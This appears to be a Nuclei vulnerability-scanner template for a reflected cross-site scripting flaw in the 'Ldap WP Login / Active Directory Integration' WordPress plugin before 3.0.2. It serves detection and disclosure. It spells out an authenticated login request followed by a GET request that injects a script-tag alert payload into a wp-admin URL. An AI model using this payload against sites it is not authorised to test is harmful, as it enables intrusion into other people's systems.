漏洞描述
The plugin does not escape generated URLs before outputing them in attrubutes, leading to Reflected Cross-Site Scripting
id: ldap-wp-login-xss
info:
name: Ldap WP Login / Active Directory Integration < 3.0.2 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The plugin does not escape generated URLs before outputing them in attrubutes, leading to Reflected Cross-Site Scripting
remediation: Fixed in version 3.0.2
reference:
- https://wpscan.com/vulnerability/1dc2cec8-e3dd-414b-8ccb-d73d51b051ee
metadata:
verified: true
max-request: 2
tags: xss,wp-plugin,wordpress,wp,ldap-wp-login-integration-with-active-directory,wpscan,vuln
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=LDAP+authentication+intergrating+with+AD&a"><script>alert(document.domain)</script> HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains_all(body_2, "<script>alert(document_domain)</script>", "LDAP-authentication-intergrating-with-AD")'
condition: and
# digest: 4a0a0047304502206a09b29a9c3b3bb7f03e64edb5a05d66bdfe5da278564a1392ee82d9f29a41ff022100ff3c748fc9c5a0e3eb18e4f46522bc20d82f2500d10ee9b00608814819fdd57a:922c64590222798bb761d5b6d8e72950